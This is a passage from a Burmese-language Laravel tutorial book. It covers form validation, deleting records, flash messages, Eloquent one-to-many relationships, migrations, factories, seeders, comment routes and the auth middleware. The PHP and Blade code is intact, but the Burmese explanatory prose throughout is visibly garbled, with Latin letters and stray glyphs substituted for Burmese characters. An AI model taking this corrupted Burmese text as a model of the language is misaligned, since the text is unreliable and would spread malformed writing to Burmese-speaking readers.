လုိအပ်တဲ့ Data မစံုyဲ INSERT လုပ်oုိ့ ကြကိုးစားမိသလုိ goစ်သွားလုိ့ အခုလုိ Error တကတ်ာပါ။ ဒါမျ ို း Error
မတက်ကြေစoုိအ့တွက်  Validation  စစ်ကြေပးသင့်ပါတယ်။ ဒါကြေeကာင့်  create() Method  ကို  အခုလုိ  gပင်
လုိက်ပါ။



PWD 2023 – အခန်း (၄၉) – Laravel Form 705

 PHP 

public function create()
{
    $validator = validator(request()->all(), [
        'title' => 'required',
        'body' => 'required',
        'category_id' => 'required',
    ]);

    if($validator->fails()) {
        return back()->withErrors($validator);
    }

    $article = new Article;
    $article->title = request()->title;
    $article->body = request()->body;
    $article->category_id = request()->category_id;
    $article->save();

    return redirect('/articles');
}

Laravel  နဲ့အတူ  တစ်ခါထဲပါတဲ့  validator() Function  ကိုသုံးပြပီး  Validation  စစ်နိုင်ပါတယ်။
Parameter  နှစ်ခုကြေပးရပြပီး ပထမတစ်ခုက  Data  ပါ။ နမူနာမှာ  request()->all() လုိ့ကြေgပာထားတဲ့
အတွက်  Form  Request  Data  အားလုံးကို  စစ်မှာပါ။  ဒုတိယက  Validation  Rule  goစ်ပါတယ်။
required, email, minlength စသgoင့် လုိအပ်တဲ့  Rule  ကြေတွ သတ်မှတ်နိုင်ပါတယ်။ နမူနာမှာ
ကြေတာ့ title, body, category_id အားလုံးအတွက် required လုိ့ကြေgပာထားလုိ့ မgoစ်မကြေနပါရ
မယ်လုိ့ စစ်လုိက်တာပါ။ တgခားသံုးလုိရ့တဲ့  Validation Rule  ကြေတွကို သိချင်ရင် ကြေအာက်ကလင့်မှာ eကည့်
လုိရ့ပါတယ်။

- https://laravel.com/docs/validation#available-validation-rules

ပြပီးတဲ့အခါ  fails() Method  နဲစ့စ်လုိက်ပြပီး  Validation Fails  goစ်ခဲ့ရင်  return back() လုိ့ကြေgပာ
လုိက်တဲ့အတွက် ကြေအာက်က အလုပ်ကြေတွ ဆက်မလုပ်ကြေတာ့yဲ လာခဲ့တဲ့ကြေနရာကို gပန်ကြေရာက်သွားမှာ goစ်ပါ
တယ်။  ဒါကြေeကာင့်  Error  မတက်ကြေတာ့yဲ  Add  Form  ကို  gပန်ကြေရာက်သွားမှာပါ။  ဒီလုိသွားတဲ့အခါ
withErrors() ရဲ့ အကူအညီနဲ့  $validator Object ကို သယ်သွားလုိ့  Form Template မှာ အ့ဲဒီ
$validator Object ထဲက Error Message ကြေတွကို gပချင်ရင်gပလုိရ့ပါတယ်။

အခုကြေနစမ်းeကည့်ရင်  Error  မတက်ကြေတာ့yဲ  Form Template  ကို  gပန်ရမှာပါ။  yာ  Error Message  မှ

https://laravel.com/docs/validation#available-validation-rules
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လည်း gပမှာ မဟုတ်ပါyူး။ ဒါကြေeကာင့် gပသင့်တဲ့ Error Message ကြေတွ gပကြေစoုိအ့တွက် add Template မှာ
အခုလုိ goည့်စွက်ကြေပးoုိ့ လုိအပ်ပါတယ်။

 PHP 

@extends('layouts.app')

@section('content')
  <div class="container">

    @if($errors->any())
      <div class="alert alert-warning">
        <ol>
          @foreach($errors->all() as $error)
            <li>{{ $error }}</li>
          @endforeach
        </ol>
      </div>
    @endif

    <form method="post">
      ...
    </form>
  </div>
@endsection

Template ကုဒ်ထဲမှာ $errors Variable ကို သုံးလုိ့ ရကြေနတာကို အရင်သတိgပုပါ။ withErrors() နဲ့
Controller ကကြေပးလုိက်လုိ့ အခုလုိသံုးလုိရ့ကြေနတာပါ (ကြေနာက်က s ကကြေလးကြေတွကို င်္ဂရုစိုက်ပါ၊ အရမ်းကျန်
eကပါတယ်)။  any() Method  နဲ့  ရိှမရှိအရင်စစ်ပြပီး ရှိရင်  all() Method  နဲ့  ရိှသမျှ  Error  အားလုံးကို
Loop ပါတ်ပြပီး ကြေoာ်gပလုိက်တာ goစ်ပါတယ်။ ဒါကြေeကာင့် အခုကြေန ကြေoာင်မှာ စံုကြေအာင်မgoည့်yဲ ခလုပ်နှိပ်ရင်
အခုလုိ Error Message ကို ရရှိမှာပဲ goစ်ပါတယ်။
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အခုဆိုရင် Article အသစ်ကြေတွ ထည့်လုိရ့သွားပါပြပီ။ Validation လည်း စစ်ပြပီးပါပြပီ။ လက်စနဲ့ ထည့်ထားတဲ့
Article ကြေတွကို gပန်oျက်လုိရ့တဲ့ လုပ်ကြေဆာင်ချက်ကို ထပ်ထည့်ပါမယ်။ Route ကြေတွ  ခလုပ်ကြေတွက ထည့်ပြပီး
သားပါ။ ArticleController မှာ delete() Method ကို အခုလုိ ထပ်ကြေရးကြေပးoုိပဲ့ လုိပါတယ်။

 PHP 

public function delete($id)
{
  $article = Article::find($id);
  $article->delete();

  return redirect('/articles')->with('info', 'Article deleted');
}

ဒါပါပဲ။ လွယ်ပါတယ်။ find() Method ကိုသုံးပြပီး ID နဲ့ ကိုကတ်ဲ့ Article ကိုထုတ်ယူပါတယ်။ ပြပီးတဲ့အခါ
သူ့ကြေပါ်မှာ  delete() ကို  Run  ကြေပးလုိက်ယုံပါပဲ။  စမ်းeကည့်နိုင်oုိအ့တွက်  Article  Detail  ကိုသွားပြပီး
Delete ခလုပ်ကို နှိပ်ရမှာပါ။ oျက်ပြပီးသွားရင် Article List ကို gပန်သွားခိုင်းထားပါတယ်။ အ့ဲဒီလုိ သွားခိုင်း
တဲ့အခါမှာ  with() Method  နဲ့  အချက်အလက်တစ်ချ ို ့  ကြေပးလုိက်တာကို  သတိgပုပါ။  အ့ဲဒါကို  Flash
Message  လုိ့ ကြေခါ်ပါတယ်။  User  သိoုိလုိ့တဲ့  အချက်အလက်ကြေတွကို  တစ်ကြကိမ် gပကြေပးတဲ့  Message  အမျ ို း
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အစားပါ။  အခကုြေတာ့  gပဦးမှာ  မဟုတ်ကြေသးပါyူး။  gပတဲ့ကုဒ်ကို  ကြေရးကြေပးရဦးမှာပါ။  ဒါကြေeကာင့်
articles/index.blade.php oုိင်မှာ အခုလုိ goည့်စွက်ကြေပးရပါဦးမယ်။

 HTML/Blade/PHP 

@extends("layouts.app")

@section("content")
    <div class="container">

        @if(session('info'))
            <div class="alert alert-info">
                {{ session('info') }}
            </div>
        @endif

        {{ $articles->links() }}

        @foreach($articles as $article)
            ...
        @endforeach
    </div>
@endsection

with() နဲ့ကြေပးလုိက်တဲ့  Flash Message ကြေတွက session() ထဲမှာ သိမ်းထားတာgoစ်လုိ့ အရင်ဆံုး ရှိ
မရှိ  စစ်ပါတယ်။ ရှတိယ်ဆိုကြေတာ့မှ gပခိုင်းလုိက်တာပါ။ ဒါကြေeကာင့် အခုကြေန  Article  တစ်ခုကို  Delete  လုပ်
လုိက်ရင် ရလဒ်က အခုလုိgoစ်မှာပါ။
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အခုဆိုရင်  Data  ကြေတရွယူပံု၊  သိမ်းဆည်းပံု၊  Delete  လုပ်ပုံ  ဒါကြေတွအားလံုး  စံုသွားပါပြပီ။  Edit  gပုလုပ်ပုံကို
ကြေတာ့ နမူနာ ထည့်မကြေပးကြေတာ့ပါyူး။ အခုကြေပးထားသကြေလာက်ကိုပဲ ကြေကာင်းကြေကာင်း သကြေyာကြေပါက်ကြေအာင်
ကြေလ့ကျင့်ထားပါ။  အလားတူလုပ်ကြေဆာင်ချက်မျ ို းကြေတွကို  eကည့်စရာမလုိကြေတာ့yဲ  လက်တမ်း  ကြေရးနိုင်တဲ့
အဆင့်ထိ  လုပ်ထားoုိလုိ့ပါတယ်။  ဒီလုိလုပ်ထားလုိ့  MVC  ကုဒ်ကြေတွနဲ့  Laravel  ရဲ့  သကြေyာသyာဝကို
နားလည်ကြေနပြပီဆိုရင်  Edit  လုိ  လုပ်ကြေဆာင်ချက်မျ ို းကို  ကိုယ်တိုင်ကြေရးgoည့်လုိ့  ရသွားပါတယ်။  ကြေရးရတာမ
ခက်ပါyူး၊ ကြေရးရတဲ့ကုဒ်များမှာမုိလုိ့သ့ာ အစပုိင်းမှာ ကြေခါင်းမူးသွားမှာစိုးလုိ ့ချန်ထားခဲ့တာပါ။ 
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အခန်း (၅၀) – Laravel Model Relationship

Database Table  ထဲက  Data  ကြေတွကို  စီမံတဲ့အခါ ရုိးရုိး  SQL Query  ကြေတွနဲဆ့ိုရင်  Table Relationship
ကြေတွအတွက်  JOIN Query  ကြေတွကို  သုံးeကရပါတယ်။  One to One, One to Many, Many to Many  စ
သgoင့်  Relationship  ပုံစံအမျ ို းမျ ို း  ရှိတဲ့ထဲက အသံုးအများဆုံးgoစ်တဲ့  One to Many Relationship  ကို
Laravel မှာ yယ်လုိစီမံရသလဲ ဆိုတာကို ဆက်လက် ကြေလ့လာသွားeကမှာ goစ်ပါတယ်။

ဥပမာ  -  စာသင်ခန်းတစ်ခန်းမှာ  ကြေကျာင်းသားကြေတွ  အများကြကီး  ရှိတယ်ဆိုပါစို့။  ဒါဟာ  One  to  Many
Relationship  ပုံစံဆက်စပ်မှုပါ။  ဒီအတွက်  Laravel  မှာ  Relationship Method  နှစ်ခု  မှတ်သင့်ပါတယ်။
hasMany() ဆိုတဲ့  Method နဲ့  belongsTo() ဆိုတဲ့  Method ပါ  (s  သတိထားပါ)။ စာသင်ခန်းတစ်
ခန်းမှာ ကြေကျာင်းသားကြေတွ အများကြကီး ရှိတယ်ဆိုတာကို A classroom has many students လုိ့ ကြေgပာနိုင်ပါ
တယ်။  ဒါကြေeကာင့်  Classroom  Model  တစ်ခုကြေပါ်မှာ  hasMany('Student') ကြေgပာလုိက်ရင်  အ့ဲဒီ
Classroom နဲသ့က်ဆိုင်တဲ့ ကြေကျာင်းသားစာရင်းကို gပန်ရနိုင်ပါတယ်။

ကြေကျာင်းသား yုိyို  ဟာ  Classroom A  မှာ တက်ကြေနတယ်ဆိုရင်  Bobo  belongs to Classroom A  လုိ့
ကြေgပာနိုင်ပါတယ်။ ဒါကြေeကာင့် Bobo ဆိုတဲ့  Student Model ကြေပါ်မှာ belongsTo('Classroom') လုိ့
ကြေgပာလုိက်ရင် Classroom A ကို gပန်ရမှာပါ။ နားလည်မယ်လုိ့ ယူဆပါတယ်။

ဒီလုိ အလုပ်လုပ်နိုင်oုိအ့တွက်  Table Name ကြေတွ  Column Name  ကြေတွ ကြေပးပုံကြေပးနည်း မှန်oုိက့ြေတာ့ လုိပါ
တယ်။  မမှန်လည်း  ရကြေပမယ့်  အမည်ကြေပးပုံမှန်မှသာ  Setting  ကြေတွ  gပင်စရာမလုိyဲ  ဒီလုပ်ကြေဆာင်ချက်ကို
အလုိအကြေလျှာက်တန်းရမှာပါ။ Convention over Configuration အကြေeကာင်းကြေgပာခဲ့တာ မှတ်မိeကဦးမှာပါ။
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အများကြကီးမှတ်စရာမလုိပါyူး။  id နဲ့  _id ချတိတ်ယ်လုိ့  မှတ်ထားလုိက်ရင်ရပါပြပီ။  ဆိုလုိတာက
Classroom A ရဲ့ id က 12 ဆိုရင် ကြေကျာင်းသား Bobo ရဲ့ classroom_id တန်oုိးကို 12 လုိ့ကြေပးလုိက်
ရင်ရပါပြပီ။ တgခားyာမှ မလုိအပ်ပါyူး။ Bobo->belongsTo('Classroom') လုိ့ကြေgပာလုိက်တဲ့အခါ
Laravel ရဲ့ Bobo Model ရဲ့ classroom_id ကို eကည့်လုိက်မှာပါ။ classroom_id တန်oုိး 12 goစ်
ကြေနတဲ့အခါ  classrooms Table  ရဲ့  id တန်oုိး  12 နဲ့  ကိုက်ညီတဲ့  Record  ကို  gပန်ကြေပးသွားမှာပါ။
မျက်စိရှုပ်သွားရင် ဒီစာပုိဒ်ကို ကြေနာက်ထပ် တစ်ကြေခါက်နှစ်ကြေခါက်ကြေလာက် gပန်oတ်eကည့်ကြေပးပါ။ မျက်စိထဲမှာ
ဒီဆက်စပ်မှုကို ရှင်းကြေနကြေအာင်gမင်မှ ကြေရှ့ဆက်သွားလုိ့ ကြေကာင်းမှာပါ။

အလားတူပဲ  ClassroomA->hasMany('Student') လုိ့ကြေgပာလုိက်ရင် ကြေgပာလုိက်ရင်  Classroom
A  ရဲ့  id ကို  ယူမှာပါ။  id တန်oုိးက  12 goစ်ကြေနတဲ့အခါ  students Table  ထဲက  classroom_id
တန်oုိး  12 goစ်ကြေနသူကြေတွ  စာရင်းကို  gပန်ကြေပးလုိက်မှာ  goစ်ပါတယ်။  ဒီအလုပ်ကြေတွကို  Framework  က
အကုန်လုပ်ကြေပးသွားပြပီး ကိုယ့်yက်က id နဲ့  _id ချတိ်ပြပီး အလုပ်လုပ်ကြေပးတယ်ဆိုတာကို မှတ်ထားရင် ရ
ပါပြပီ။

လက်ရှိကြေရးလက်စကုဒ်မှာ  ထည့်သွင်းစမ်းသပ်နိုင်oုိ့အတွက်  Table  (၂)  ခု  ထပ်မံ  တည်ကြေဆာက်ပါမယ်။
categories Table နဲ ့comments Table တိုပ့ါ။ ဒါကြေeကာင့် Model oုိင်ကြေတွ Migration oုိင်ကြေတွ အခုလုိ
တည်ကြေဆာက်လုိက်ပါမယ်။

php artisan make:model Category -m

php artisan make:model Comment -m

ပြပီးတဲ့အခါ  Table  ရဲ့  oဲွ့စည်းပံုသတ်မှတ်oုိအ့တွက်  Migration  oုိင်ကြေတွကို  gပင်ပါမယ်။  /databases/
migrations oုိဒါထဲက xxx_create_categories_table.php oုိင်ကိုoွင့်ပါ။ up() Method
ကို အခုလုိ gပင်ကြေပးပါ။
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 PHP 

public function up()
{
    Schema::create('categories', function (Blueprint $table) {
        $table->id();
        $table->string('name');
        $table->timestamps();
    });
}

တစ်ကြေeကာင်းတည်း ထပ်တိုးလုိက်တာပါ။  name အမည်နဲ့  String Column တစ်ခုgoစ်ပါတယ်။ ပြပီးတဲ့အခါ
xxx_create_comments_table.php oုိင်ကိုoွင့်ပြပီး up() Method ကို အခုလုိgပင်ကြေပးပါ။

 PHP 

public function up()
{
    Schema::create('comments', function (Blueprint $table) {
        $table->id();
        $table->text('content');
        $table->integer('article_id');
        $table->timestamps();
    });
}

comments Table မှာကြေတာ့ Column (၂) ခုထပ်တိုးထားပါတယ်။ content နဲ့  article_id တိုပ့ါ။
ဒါကြေတွ သတ်မှတ်ပြပီးရင် migrate Command ကို အခုလုိ Run ကြေပးပါ။

php artisan migrate:fresh

migrate လုိ့  Run  ရင် ထပ်တိုးလုိက်တဲ့oုိင်ကြေတွကိုပဲ  ကြေရွးပြပီး  Run  သွားမှာပါ။  Laravel  က သိပါတယ်၊
မှတ်ထားပါတယ်။ အခုကြေတာ့  migrate:fresh လုိ့  Run  ထားတဲ့အတွက်ကြေeကာင့် ရှိသမျှoုိင်အားလုံးကို
အစကကြေန gပန် Run သွားမှာပါ။ အရင်ကစမ်းထားတဲ့ Data ကြေတတွစ်ခါထဲ ရှင်းပြပီးသား goစ်ကြေစချင်လုိ ့အခုလုိ
Run ထားတာပါ။

ပြပီးတဲ့အခါ  နမူနာ  Data  ကြေတွထည့်နိုင်oုိအ့တွက်  Model  Factory  ကြေတွ  Seed  ကြေတွ  ကြေရးပါတယ်။  Model
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Factory oုိင်ကြေတွကိုအခုလုိ တည်ကြေဆာက်ကြေပးပါ။

php artisan make:factory CategoryFactory

php artisan make:factory CommentFactory

/databases/factories/ oုိဒါထဲက  CategoryFactory.php ကိုoွင့်ပြပီး  definition()
Method မှာ အခုလုိ goည့်ကြေပးပါ။

 PHP 

public function definition()
{
    return [
        "name" => ucwords($this->faker->word)
    ];
}

Faker  နဲ့  Random Word  တစ်ခုကို  Category Name  အgoစ် သတ်မှတ်ကြေပးလုိက်တာပါ။  ucwords()
ကကြေတာ့ အ့ဲဒီ Word ကို Capital Case goစ်ကြေစချင်တဲ့အတွက် သံုးလုိက်တာပါ။ Standard PHP Function
တစ်ခု goစ်ပါတယ်။ ပြပီးတဲ့အခါ CommentFactory.php မှာ အခုလုိgoည့်ကြေပးပါ။

 PHP 

public function definition()
{
    return [
        "content" => $this->faker->paragraph,
        "article_id" => rand(1, 20),
    ];
}

Comment Content  အကြေနနဲ့  Random Paragraph  တစ်ခုgoစ်ပြပီး  article_id အတွက်ကြေတာ့  1, 20
eကား  Random  တန်oုိးတစ်ခုကို  သတ်မှတ်ကြေပးလုိက်တာပါ။  ပြပီးတဲ့အခါ  /databases/seeds ထဲက
DatabaseSeeder.php မှာ အခုလုိgပင်ကြေပးပါ။
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 PHP 

<?php

namespace Database\Seeders;

use Illuminate\Database\Seeder;
use App\Models\Article;
use App\Models\Category;
use App\Models\Comment;

class DatabaseSeeder extends Seeder
{
    /**
     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {
        Article::factory()->count(20)->create();
        Category::factory()->count(5)->create();
        Comment::factory()->count(40)->create();
    }
}

ဒါကြေeကာင့်  Run လုိက်ရင်  Article  အခု  (၂၀)၊  Category (၅)  ခု နဲ့  Comment အခု  (၄၀)  တိုက့ို  Sample
Data အကြေနနဲ ့ရရှိမှာgoစ်ပါတယ်။

php artisan db:seed

အခုဆိုရင် စမ်းoုိ့အတွက် Table နဲ့ Data ကြေတွကြေတာ့စံုသွားပါပြပီ။ Relationship ကုဒ်ကြေတွ စကြေရးပါကြေတာ့မယ်။
Article  နဲ့  Category  ရဲ့  ဆက်စပ်မှုက  An Article  belongs to a Category  goစ်ပါတယ်။ ဆိုလုိတာက
Article တစ်ခဟုာ Category တစ်ခုနဲ့ သက်ဆိုင်ပါတယ်။ Article နဲ့ Comment ရဲ့ ဆက်စပ်မှုကကြေတာ့ An
Article  has many Comment  goစ်ပါတယ်။  Article  တစ်ခုမှာ  Comment  ကြေတွ အများကြကီး ရှိတယ်ဆိုတဲ့
သကြေyာပါ။  ဒီသကြေyာကြေတွ  ကြေပါ်လွင်ကြေအာင်  ကြေရးမှာ  goစ်ပါတယ်။  /app/Models  oုိဒါထဲက
Article.php ကိုoွင့်ပါ။ ပြပီးရင် အခုလုိကြေရးကြေပးပါ။
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 PHP 

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Article extends Model
{
    use HasFactory;

    public function category()
    {
        return $this->belongsTo('App\Models\Category');
    }

    public function comments()
    {
        return $this->hasMany('App\Models\Comment');
    }
}

category() နဲ့  comments() ဆိုတဲ့  Method  နှစ်ခုထပ်တိုးလုိက်တာပါ  (ထပ်သတိကြေပးပါမယ်၊
comments  က  s  ကို  င်္ဂရုစိုက်ပါ)။  ဒီလုိကြေရးကြေပးလုိက်တဲ့အတွက်  category() Method  ကို  ကြေခါ်ရင်
လက်ရှိ  Article နဲ့ သက်ဆိုင်တဲ့ Category ကို ရမှာပါ။ comments() Method ကို ကြေခါ်ရင်ကြေတာ့ လက်ရှိ
Article နဲ ့သက်ဆိုင်တဲ့ Comments ကြေတွကို ရမှာပါ။

လက်ကြေတွ့စမ်းသပ်နို််ငoုိ့  /resources/views/articles ထဲက  detail.blade.php ကို
အခုလုိgပင်ကြေပးပါ။

 HTML/Blade/PHP 

@extends("layouts.app")

@section("content")
  <div class="container">
    <div class="card mb-2">
      <div class="card-body">
        <h5 class="card-title">{{ $article->title }}</h5>
        <div class="card-subtitle mb-2 text-muted small">
          {{ $article->created_at->diffForHumans() }},
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          Category: <b>{{ $article->category->name }}</b>
        </div>
        <p class="card-text">{{ $article->body }}</p>
        <a class="btn btn-warning"
          href="{{ url("/articles/delete/$article->id") }}">
          Delete
        </a>
      </div>
    </div>

    <ul class="list-group">
      <li class="list-group-item active">
        <b>Comments ({{ count($article->comments) }})</b>
      </li>
      @foreach($article->comments as $comment)
        <li class="list-group-item">
          {{ $comment->content }}
        </li>
      @endforeach
    </ul>
  </div>
@endsection

$article->category လုိ့ကြေgပာလုိက်ရင် လက်ရှိ Article Model နဲ့ သက်ဆိုင်တဲ့ Category တစ်ခုကို
ရပါတယ်။  ရလာတဲ့  Category  ရဲ့  name ကို  ရုိက်ထုတ်ကြေoာ်gပထားတာကို  ကြေတွ့ရမှာ  goစ်ပါတယ်။
$article-> comments ဆိုရင်ကြေတာ့ လက်ရှိ Article Model နဲ့ သက်ဆိုင်တဲ့ Comments စာရင်းကို
ရပါတယ်။ အ့ဲဒီ Comments စာရင်းကို Loop လုပ်ပြပီး ကြေoာ်gပထားတဲ့အတွက် ရလဒ်က အခုလုိ goစ်မှာပါ။
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လက်စနဲ့  Comment  အသစ်ကြေတွ  ထပ်ထည့်လုိ့  ရကြေအာင်နဲ့  gပန်oျက်လုိရ့ကြေအာင်  လုပ်ပါမယ်။
detail.blade.php ကို အခုလုိ ထပ်မံgoည့်စွက်ပါ။

 HTML/Blade/PHP 

@extends("layouts.app")

@section("content")
  <div class="container">
    <div class="card mb-2">
      ...
    </div>

    <ul class="list-group mb-2">
      <li class="list-group-item active">
        <b>Comments ({{ count($article->comments) }})</b>
      </li>
      @foreach($article->comments as $comment)
        <li class="list-group-item">
            <a href="{{ url("/comments/delete/$comment->id") }}"
                class="btn-close float-end">
            </a>
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            {{ $comment->content }}
        </li>
      @endforeach
    </ul>

    <form action="{{ url('/comments/add') }}" method="post">
      @csrf
      <input type="hidden" name="article_id"
        value="{{ $article->id }}">
      <textarea name="content" class="form-control mb-2" 
        placeholder="New Comment"></textarea>
      <input type="submit" value="Add Comment"
        class="btn btn-secondary">
    </form>
  </div>
@endsection

Comment တစ်ခခုျင်းစီနဲအ့တူ /comments/delete/{id} Route ကိုသွားတဲ့ ခလုပ်ကြေတွ ပါဝင်သွား
ပြပီး၊ Comment စာရင်းရဲ့ကြေအာက်မှာ New Comment Form ပါဝင်သွားတာပါ။ Hidden Input တစ်ခုပါဝင်
ပြပီး သူရဲ့ Value က Article ID goစ်တယ်ဆိုတာကို သတိgပုပါ။ Form ရဲ့ Action အရ ဒီ Form ကို Submit
လုပ်လုိက်ရင်  /comments/add Route  ကို  ကြေရာက်သွားမှာပါ။  ဒါကြေeကာင့် အ့ဲဒီ  Route  ကြေတွ သွားထည့်
ကြေပးရပါမယ်။

/routes/web.php ရဲ့အကြေပါ်နားမှာ အခုလုိ goည့်ကြေပးပါ။

 PHP 

use App\Http\Controllers\CommentController;

ပြပီးတဲ့အခါ Route အသစ်နှစ်ခုကို အခုလုိထပ်တိုးကြေပးလုိက်ပါ။

 PHP 

Route::post('/comments/add', [
CommentController::class, 
'create']

);
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Route::get('/comments/delete/{id}', [
CommentController::class,
'delete'

]);

/comments/add အတွက် Method က post() ဆိုတာကို သတိgပုပါ။

�ှတ်ချက် - Comment  အသစ်အတွက်  /articles/detail/{article_id}/comment/add
ဆိုတဲ့  Route ကို သုံးရင် ပုိgပည့်စံုနိုင်ပါတယ်။ ဒါကြေပမယ့် Comment အတွက် Route ကို  /comments နဲ့
သာ စလုိတဲ့အတွက် အ့ဲဒီနည်းကို မသံုးခဲ့တာပါ။ Route နဲ့ Controller ဆက်စပ်မှု Consistence goစ်ကြေစချင်
လုိပ့ါ။

လက်ရှိနမူနာ Route နှစ်ခုလံုးက CommentController ကို ညွှန်းထားလုိ့ Comment Controller oုိင်
ကြေဆာက်ရပါမယ်။ ပြပီးတဲ့အခါ create() နဲ့ delete() Method (၂) ခု ကြေရးကြေပးရပါမယ်။

php artisan make:controller CommentController

 PHP 

<?php

namespace App\Http\Controllers;

use App\Models\Comment;
use Illuminate\Http\Request;

class CommentController extends Controller
{
    public function create()
    {
        $comment = new Comment;
        $comment->content = request()->content;
        $comment->article_id = request()->article_id;
        $comment->save();

        return back();
    }
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public function delete($id)
    {
        $comment = Comment::find($id);
        $comment->delete();

        return back();
    }
}

App\Comment ကို  Import လုပ်ထားတာ သတိgပုပါ။ create() နဲ့  delete() တိုရ့ဲ့ အလုပ်လုပ်ပံု
ကိုကြေတာ့ အထူးထပ်ပြပီး ရှင်းgပoုိ ့မလုိကြေတာ့yူးလုိ့ ထင်ပါတယ်။ ကြေရးထားတဲ့ကုဒ်မှာ အဓိပ္ပါယ်က ကြေပါ်လွင်ကြေန
ပါပြပီ။ 

အခုဆိုရင်  ကျွနက်ြေတာ်တို့  နမူနာအကြေနနဲ့  တည်ကြေဆာက်ကြေနတဲ့  Blog  စနစ်ကြေလးဟာ  ကြေတာ်ကြေတာ်ကြေလး
အသက်ဝင်ကြေနပါပြပီ။  Article  ကြေတွ  ထည့်လုိရ့တယ်၊  oျက်လုိရ့တယ်။  Comment  ကြေတွ  တွဲgပကြေပးတယ်၊
Comment ကြေတွ ထည့်လုိရ့တယ်၊ oျက်လုိရ့တယ်၊ စသgoင့် အကြေတာ်ကြေလး အဆင်ကြေgပကြေနပါပြပီ။

ကြေနာက်တစ်ခန်းမှာ Authorization နဲ့ ပတ်သက်တဲ့အကြေeကာင်းအရာကြေတွ ထပ်goည့်eကပါမယ်။
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အခန်း (၅၁) – Laravel Authorization

ကြေဆာ့o်ဝဲလံုခြခံုကြေရးနဲ ့ပတ်သက်ရင် Authentication နဲ့ Authorization ဆိုတဲ့ အမည် ခပ်ဆင်ဆင်နှစ်ခု ရှိကြေန
ပါတယ်။  Authentication  ဆိုတာ  ဝင်ခွင့်ရှိမရှိ စစ်ကြေဆးgခင်းgoစ်ပြပီး၊  Authorization  ဆိုတာကကြေတာ့  လုပ်
ခွင့်ရှိမရှိ စစ်ကြေဆးgခင်းgoစ်ပါတယ်။ အမည်နဲ့  သကြေyာသyာဝ ဆင်ကြေပမယ့် တူကြေတာ့ မတူပါyူး။  Laravel
မှာ  Authentication  နဲ့  ပတ်သက်လုိ့  လုိအပ်တဲ့  ကုဒ်ကြေတွက ကိုယ်တိုင်ကြေရးစရာမလုိyဲ  Framework  က
ကြကိုကြေရးကြေပးထားလုိ့  ထည့်ပုံထည့်နည်းကို  eကည့်ခဲ့ပြပီးပါပြပီ။  ဒါကြေeကာင့်  Login,  Register,  Logout  စတဲ့
လုပ်ငန်းကြေတွက ရရှိထားပြပီး goစ်ပါတယ်။

အခုဆက်လက်ပြပီး  Authorization  နဲပ့တ်သက်တဲ့ နမူနာကြေတွ ကြေရးစမ်းeကည့်ပါမယ်။ ပထမအဆင့် အကြေနနဲ့
Article  ကြေတွထည့်တာ၊  oျက်တာ၊  Comment  ကြေတွ  ထည့်တာ oျက်တာကို  လူတိုင်းကို  လုပ်ခွင့်မကြေပးyဲ၊
Login ဝင်ထားတဲ့ သူကိုသာ လုပ်ခွင့် ကြေပးပါကြေတာ့မယ်။ ဒီအတွက်  Auth Middleware ကို သုံးပြပီး အလွယ်
တစ်ကူ ကြေရးလုိရ့ပါတယ်။

Middleware  အကြေeကာင်းကို eကားgoတ်ပြပီး နည်းနည်းကြေgပာရရင်၊  Middleware  ဆိုတာ Request Filter  လုိ့
အလွယ်မှတ်နိုင်ပါတယ်။  Request  တစ်ခုကို  လက်ခံရရှိရင် eကားgoတ်စစ်ကြေဆးစီမံတဲ့အလုပ်ကြေတွ လုပ်ကြေပး
နိုင်တဲ့  နည်းပညာပါ။  Laravel  မှာ  CSRF Token, Auth  စသgoင့်  Middleware  ကြေတွ အသင့် ပါပါတယ်။
CSRF Token Middleware  က eကားgoတ်ပြပီး စစ်ကြေနလုိ့  Form ကြေတွမှာ  @csrf မပါရင် အလုပ်မလုပ်တာ
ပါ။ ကိုယ်တိုင်လည်း Middleware ကြေတွ ကြေရးလုိရ့ပါတယ်။ Third-party Middleware ကြေတွလည်း လုိအပ်ရင်
ထပ်ထည့်လုိရ့ပါတယ်။  ဒီစာအုပ်မှာကြေတာ့  ထူးgခားတဲ့  လုိအပ်ချက်မရှိလုိ့  ကိုယ်တိုင်  Middleware  ကြေတွ
ကြေရးသားပုံကို ထည့်မကြေoာ်gပပါyူး။ လုိအပ်ရင် ကြေနာက်မှကိုယ့်yာသာ ဆက်ကြေလ့လာရမှာပါ။
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Auth  Middleware  ကို  အသံုးgပုပြပီး  Login  ဝင်ထားမထား  စစ်oုိ့အတွက်  Route  မှာ  စစ်လုိရ့သလုိ
Controller မှာလည်း စစ်လုိရ့ပါတယ်။ ဥပမာ -

 PHP 

Route::get('/articles/add', [
ArticleController::class,
'add'

])->middleware('auth');

ဒီလုိကြေရးကြေပးလုိက်ရင် /articles/add Route က Login goစ်ကြေနမှပဲ အလုပ်လုပ်ကြေတာ့မှာပါ။ Login ဝင်
မထားyဲ သွားoုိ့ကြကိုးစားရင် Login Page ကို အလုိအကြေလျှာက် ကြေရာက်သွားမှာပါ။ ဒါကြေပမယ့် Route တစ်ခု
ချင်းစီမှာ အ့ဲဒီလုိလုိက်ကြေရးကြေနရရင် အလုပ်ရှုပ်ပါတယ်။ ဒါကြေeကာင့် ArticleController Class ထဲမှာ
အခုလုိgoည့်စွက် ကြေပးသင့်ပါတယ်။

 PHP 

public function __construct()
{
    $this->middleware('auth')->except(['index', 'detail']);
}

Constructor  ထည့်သွင်းလုိက်gခင်းgoစ်ပြပီး  Middleware  အကြေနနဲ့  auth ကို  အသုံးgပုoုိ့  သတ်မှတ်ထားပါ
တယ်။ ဒါကြေeကာင့် ဒီ  Controller  ထဲက လုပ်ကြေဆာင်ချက်ကြေတွကို  Login  goစ်ကြေနမှပဲ ကြေပးလုပ်ကြေတာ့မှာပါ။ ဒါ
ကြေပမယ့် except() နဲ့  index, detail နှစ်ခုကို ချန်ထားတဲ့အတွက် index() နဲ့ detail() တို့
ကိုကြေတာ့  Login  မgoစ်လည်းyဲ ခြခွင်းချက်အကြေနနဲ့  အသုံးgပုခွင့်ကြေပးပါလိမ့်မယ်။  CommentController
မှာကြေတာ့ အခုလုိ ကြေရးကြေပးသင့်ပါတယ်။

 PHP 

public function __construct()
{
    $this->middleware('auth');
}

သူ့မှာကြေတာ့ except() ကြေတွyာကြေတွ မလုိကြေတာ့ပါyူး။ အခုဆိုရင် Login ဝင်မထားရင် eကည့်ယုံပဲ eကည့်
